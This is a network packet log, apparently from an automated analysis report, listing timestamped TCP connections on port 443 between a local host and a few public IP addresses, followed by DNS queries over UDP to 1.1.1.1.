Dec 11, 2024 19:23:25.574994087 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.575007915 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.575032949 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.577395916 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.577418089 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.577476978 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.577486038 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.577521086 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.580341101 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.580360889 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.580400944 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.580425978 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.580440044 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.580466032 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.582731009 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.582752943 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.582793951 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.582808971 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.582834959 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.582854033 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.585455894 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.585474968 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.585539103 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.585547924 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.585598946 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.588499069 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.588515997 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.588573933 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.588587046 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.588637114 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.591164112 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.591182947 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.591233015 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.591250896 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.591274023 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.591295004 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.593764067 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.593789101 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.593844891 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.593858004 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.593909025 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.767169952 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.767200947 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.767273903 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.767292023 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.767345905 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.767659903 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.767721891 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.767735004 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.767760992 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.767779112 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.767803907 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.767889023 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.767919064 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.767945051 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.767972946 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.860469103 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.860750914 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.860804081 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.861179113 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.861494064 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.861566067 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.861643076 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.865372896 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.866873026 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.866931915 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.868165970 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.868540049 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.868674994 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:25.868757963 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.903332949 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:25.912394047 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.290047884 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.290311098 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.290329933 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.293695927 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.293756008 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.294163942 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.294245005 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.294377089 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.294384956 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.349302053 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.379067898 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.383061886 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.383198023 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.383268118 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.383307934 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.383375883 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.383423090 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.383799076 CET	50018	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.383841991 CET	443	50018	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.387144089 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.387206078 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.387217999 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.387250900 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.387257099 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.387290955 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.388369083 CET	50017	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:26.388382912 CET	443	50017	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.827874899 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:26.881087065 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.002424955 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.002453089 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.002496004 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.002506018 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.002516985 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.002536058 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.002543926 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.002554893 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.002561092 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.002573013 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.002592087 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.002610922 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.002677917 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.053121090 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.130304098 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.130335093 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.130387068 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.130417109 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.130456924 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.130498886 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.130507946 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.130542040 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.130556107 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.130589962 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.202189922 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.202218056 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.202277899 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.202305079 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.202318907 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.202378988 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.256184101 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.256237030 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.256283045 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.256325960 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.256354094 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.258138895 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.301254034 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:27.301306009 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:27.301378965 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:27.301614046 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:27.301634073 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:27.308576107 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.308660984 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.308670998 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.308701038 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.308734894 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.308757067 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.320560932 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:27.320650101 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:27.320754051 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:27.320928097 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:27.320960045 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:27.329886913 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.329988003 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.330001116 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.330101967 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.330862999 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:27.330871105 CET	443	50021	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:27.330899954 CET	50021	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:28.411636114 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:28.411679029 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:28.411731005 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:28.411973000 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:28.411988974 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:28.527652025 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:28.529951096 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:28.529968977 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:28.531661987 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:28.531847000 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:28.532746077 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:28.532829046 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:28.532928944 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:28.579323053 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:28.583602905 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:28.583611012 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:28.630502939 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:28.872984886 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:28.873248100 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:28.873276949 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:28.875339985 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:28.875413895 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:28.879961967 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:28.880050898 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:28.880295038 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:28.880305052 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:28.927696943 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:29.035393000 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:29.035482883 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:29.035546064 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:29.037003040 CET	50036	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:29.037039995 CET	443	50036	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:29.196105957 CET	50050	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:29.196137905 CET	443	50050	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:29.196190119 CET	50050	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:29.196410894 CET	50050	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:29.196429014 CET	443	50050	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:29.203699112 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:29.203887939 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:29.203938007 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:29.205401897 CET	50038	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:29.205415010 CET	443	50038	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:29.350754976 CET	50052	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:29.350806952 CET	443	50052	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:29.350883961 CET	50052	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:29.351099014 CET	50052	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:29.351115942 CET	443	50052	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:29.770107985 CET	50059	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:29.770144939 CET	443	50059	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:29.770281076 CET	50059	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:29.770440102 CET	50059	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:29.770452023 CET	443	50059	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:30.191754103 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.192123890 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.192159891 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.195681095 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.195755959 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.196105957 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.196193933 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.196271896 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.240605116 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.240618944 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.287509918 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.438342094 CET	443	50050	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:30.438798904 CET	50050	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:30.438822031 CET	443	50050	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:30.439925909 CET	443	50050	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:30.439997911 CET	50050	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:30.440368891 CET	50050	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:30.440437078 CET	443	50050	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:30.440515041 CET	50050	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:30.440527916 CET	443	50050	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:30.490586996 CET	50050	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:30.710988998 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.752692938 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.752720118 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.752758026 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.752779961 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.752793074 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.752794027 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.752801895 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.752821922 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.752832890 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.752835989 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.752846956 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.752865076 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.752890110 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.760972023 CET	443	50048	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:30.761024952 CET	50048	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:30.896950960 CET	443	50052	34.107.199.61	192.168.2.5
Dec 11, 2024 19:23:30.912933111 CET	443	50050	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:30.913144112 CET	443	50050	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:30.913208008 CET	50050	443	192.168.2.5	35.190.10.96
Dec 11, 2024 19:23:30.943736076 CET	50052	443	192.168.2.5	34.107.199.61
Dec 11, 2024 19:23:30.994214058 CET	443	50059	35.190.10.96	192.168.2.5
Dec 11, 2024 19:23:31.037102938 CET	50059	443	192.168.2.5	35.190.10.96

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 19:22:03.795382977 CET	53	55285	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:03.802345991 CET	53	55790	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:06.594540119 CET	53	63620	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:08.319819927 CET	64035	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:08.319960117 CET	59667	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:08.458090067 CET	53	59667	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:08.458206892 CET	53	64035	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:09.470237970 CET	63749	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:09.470623016 CET	58607	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:09.949403048 CET	53	58607	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:09.949453115 CET	53	63749	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:13.278589010 CET	65500	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:13.278737068 CET	64894	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:13.279226065 CET	56930	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:13.279373884 CET	54175	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:13.279802084 CET	57814	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:13.279954910 CET	59026	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:13.416174889 CET	53	64894	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:13.419284105 CET	53	65500	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:13.491029978 CET	53	56930	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:13.491077900 CET	53	57814	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:13.491107941 CET	53	59026	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:13.491939068 CET	53	54175	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:15.456088066 CET	53151	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:15.456238031 CET	65349	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:15.519545078 CET	50458	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:15.519684076 CET	53062	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:15.593250990 CET	53	53151	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:15.593475103 CET	53	65349	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:15.657273054 CET	53	53062	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:15.657318115 CET	53	50458	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:17.174344063 CET	50563	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:17.174710989 CET	60387	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:17.190414906 CET	54994	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:17.190668106 CET	54573	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:17.312426090 CET	53	60387	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:17.313829899 CET	53	50563	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:17.327881098 CET	53	54994	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:17.328375101 CET	53	54573	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:22.029846907 CET	65168	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:22.030200958 CET	56985	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:22.168019056 CET	53	56985	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:22.169601917 CET	53	65168	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:23.537393093 CET	53	61698	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:38.005286932 CET	65374	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:38.005498886 CET	59605	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:38.149422884 CET	53	65374	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:38.149554014 CET	53	59605	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:41.897880077 CET	64303	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:41.898097038 CET	56911	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:41.925319910 CET	57307	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:41.925519943 CET	53137	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:42.067217112 CET	53	57307	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:42.067233086 CET	53	53137	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:42.279055119 CET	53	56911	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:42.339421988 CET	53	54824	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:44.455899000 CET	50170	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:44.456228018 CET	62179	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:44.457051039 CET	51899	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:44.457199097 CET	50216	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:44.457768917 CET	61139	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:44.457963943 CET	55959	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:44.593868017 CET	53	50216	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:44.594166994 CET	53	62179	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:44.596990108 CET	53	51899	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:44.604381084 CET	64436	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:44.604631901 CET	64207	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:44.741096020 CET	53	64436	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:44.741622925 CET	53	64207	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:50.402136087 CET	49282	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:50.402273893 CET	52733	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:53.001585007 CET	56435	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:53.001724958 CET	58898	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:53.590363026 CET	50633	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:53.590513945 CET	65030	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:55.581875086 CET	51902	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:55.582149982 CET	64557	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:55.583518982 CET	60701	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:55.583623886 CET	59318	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:55.727216959 CET	53	51902	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:55.790069103 CET	54310	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:55.790188074 CET	63920	53	192.168.2.5	1.1.1.1
Dec 11, 2024 19:22:55.926904917 CET	53	54310	1.1.1.1	192.168.2.5
Dec 11, 2024 19:22:55.972251892 CET	53	64557	1.1.1.1	192.168.2.5
